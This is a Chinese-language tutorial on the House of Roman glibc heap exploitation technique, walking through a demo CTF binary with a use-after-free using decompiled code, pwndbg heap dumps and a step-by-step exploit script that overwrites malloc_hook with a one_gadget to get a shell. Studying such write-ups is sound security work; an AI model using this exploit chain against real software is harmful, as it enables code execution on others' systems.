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House of Roman

介绍

House of Roman 这个技巧说简单点其实就是 fastbin attack 和 Unsortbin attack 结合的一个小 trick。

概括

该技术用于 bypass ALSR,利用12-bit 的爆破来达到获取shell的目的。且仅仅只需要一个 UAF 漏洞以及能创建任意大小的 chunk 的情况下就能完成利用。

原理以及展示

作者提供给了我们一个 demo 用于展示,整个利用过程大概可以分为三步骤。

  1. 将 FD 指向 malloc_hook
  2. 修正 0x71 的 Freelist
  3. 往 malloc_hook 写入 one gadget

先对 demo 进行一个大致的分析:

开启的保护情况:

[*] '/media/psf/Home/Desktop/MyCTF/House-Of-Roman/new_chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

样题中有三个主要功能,Malloc ,Write,以及 Free。

    switch ( v4 )
    {
      case 1:
        puts("Malloc");
        v5 = malloc_chunk("Malloc");
        if ( !v5 )
          puts("Error");
        break;
      case 2:
        puts("Write");
        write_chunk("Write");
        break;
      case 3:
        puts("Free");
        free_chunk();
        break;
      default:
        puts("Invalid choice");
        break;

在 Free 功能中存在 指针未置零而造成的悬挂指针。

void free_chunk()
{
  unsigned int v0; // [rsp+Ch] [rbp-4h]@1

  printf("\nEnter index :");
  __isoc99_scanf("%d", &v0);
  if ( v0 <= 0x13 )
    free(heap_ptrs[(unsigned __int64)v0]);
}

第一步

首先伪造一个 chunk ,chunk的大小为0x61。紧接着我们利用 partial overwrite 将 FD 指向伪造的chunk(当然,这里我们也可以用 UAF 完成)。

伪造 chunk size

pwndbg>
0x555555757050: 0x41414141      0x41414141      0x41414141      0x41414141
0x555555757060: 0x41414141      0x41414141      0x41414141      0x41414141
0x555555757070: 0x41414141      0x41414141      0x41414141      0x41414141
0x555555757080: 0x41414141      0x41414141      0x41414141      0x41414141
0x555555757090: 0x41414141      0x41414141      0x61    0x0     <----------

这里,我们 free 掉 chunk 1,这个时候我们能获得一个 unsortbin

0x555555757020 PREV_INUSE {
  prev_size = 0x0,
  size = 0xd1,
  fd = 0x7ffff7dd1b58 <main_arena+88>,
  bk = 0x7ffff7dd1b58 <main_arena+88>,
  fd_nextsize = 0x4141414141414141,
  bk_nextsize = 0x4141414141414141
}

接着,我们重分配 0xd1 这块 chunk,以及修改其 size 为0x71

pwndbg> x/40ag 0x555555757020
0x555555757020: 0x4141414141414141      0x71
0x555555757030: 0x7ffff7dd1b58 <main_arena+88>  0x7ffff7dd1b58 <main_arena+88>
0x555555757040: 0x4141414141414141      0x4141414141414141
0x555555757050: 0x4141414141414141      0x4141414141414141
0x555555757060: 0x4141414141414141      0x4141414141414141
0x555555757070: 0x4141414141414141      0x4141414141414141
0x555555757080: 0x4141414141414141      0x4141414141414141
0x555555757090: 0x4141414141414141      0x61

我们紧接着需要修正这0x71 FD freelist ,将其伪造成已经释放的块

pwndbg> x/40ag 0x555555757000
0x555555757000: 0x0     0x21
0x555555757010: 0x4141414141414141      0x4141414141414141
0x555555757020: 0x4141414141414141      0x71       <----------  free 0x71
0x555555757030: 0x7ffff7dd1b58 <main_arena+88>  0x7ffff7dd1b58 <main_arena+88>
0x555555757040: 0x4141414141414141      0x4141414141414141
0x555555757050: 0x4141414141414141      0x4141414141414141
0x555555757060: 0x4141414141414141      0x4141414141414141
0x555555757070: 0x4141414141414141      0x4141414141414141
0x555555757080: 0x4141414141414141      0x4141414141414141
0x555555757090: 0x4141414141414141      0x61
0x5555557570a0: 0x0     0x0
0x5555557570b0: 0x0     0x0
0x5555557570c0: 0x0     0x0
0x5555557570d0: 0x0     0x0
0x5555557570e0: 0x0     0x0
0x5555557570f0: 0xd0    0x71   <----------     free 0x71
0x555555757100: 0x0     0x0
0x555555757110: 0x0     0x0
0x555555757120: 0x0     0x0
0x555555757130: 0x0     0x0
libc : 0x7ffff7a23d28 ("malloc_hook")

这个时候我们的 FD 已经在 malloc hook 附近,未之后的爆破做准备。

第二步

我们只需要通过 释放一块0x71大小的 chunk 就能完成 fix。

第三步

利用 unsortebin 的攻击技巧,并使用编辑功能将 onegadet 写入 。

分析 exp

分配 3chunk ,在 B + 0x78 处设置 p64(0x61) , 作用是 fake size ,用于后面 的 fastbin attack

create(0x18,0) # 0x20
create(0xc8,1) # d0
create(0x65,2)  # 0x70

info("create 2 chunk, 0x20, 0xd8")
fake = "A"*0x68
fake += p64(0x61)  ## fake size
edit(1,fake)
info("fake")

释放掉 B , 然后分配同样大小再次分配到 B , 此时 B+0x10B+0x18 中有 main_arean 的地址。分配 3fastbin ,利用 off by one 修改 B->size = 0x71

free(1)
create(0xc8,1)

create(0x65,3)  # b
create(0x65,15)
create(0x65,18)

over = "A"*0x18  # off by one
over += "\x71"  # set chunk  1's size --> 0x71
edit(0,over)
info("利用 off by one ,  chunk  1's size --> 0x71")

生成两个 fastbin ,然后利用 uaf ,部分地址写,把 B 链入到 fastbin

free(2)
free(3)
info("创建两个 0x70 的 fastbin")
heap_po = "\x20"
edit(3,heap_po)
info("把 chunk'1 链入到 fastbin 里面")

调试看看此时 fastbin 的状态

pwndbg> fastbins 
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757160 —▸ 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x7ffff7dd1b78
0x80: 0x0

0x555555757020 就是 chunk B

然后通过修改 B->fd 的低 2 字节, 使得 B->fd= malloc_hook - 0x23

# malloc_hook 上方
malloc_hook_nearly = "\xed\x1a"
edit(1,malloc_hook_nearly)
info("部分写,修改 fastbin->fd ---> malloc_hook")

然后分配 30x70chunk ,就可以拿到 malloc_hook 所在的那个 chunk .

create(0x65,0)
create(0x65,0)
create(0x65,0)

然后 freeE ,进入 fastbin ,利用 uaf 设置 E->fd = 0 , 修复了 fastbin

free(15)
edit(15,p64(0x00))
info("再次生成 0x71 的 fastbin, 同时修改 fd =0, 修复 fastbin")

然后是 unsorted bin 攻击,使得 malloc_hook 的值为 main_arena+88

create(0xc8,1)
create(0xc8,1)
create(0x18,2)
create(0xc8,3)
create(0xc8,4)
free(1)
po = "B"*8
po += "\x00\x1b"
edit(1,po)
create(0xc8,1)
info("unsorted bin 使得 malloc_hook 有 libc 的地址")

利用 修改 malloc_hook 的低三个字节 ,使得 malloc_hookone_gadget 的地址

over = "R"*0x13   # padding for malloc_hook
over += "\xa4\xd2\xaf"
edit(0,over)

info("malloc_hook to one_gadget")

然后 free 两次同一个 chunk ,触发 malloc_printerrgetshell

free(18)
free(18)

https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc

https://github.com/romanking98/House-Of-Roman

https://xz.aliyun.com/t/2316


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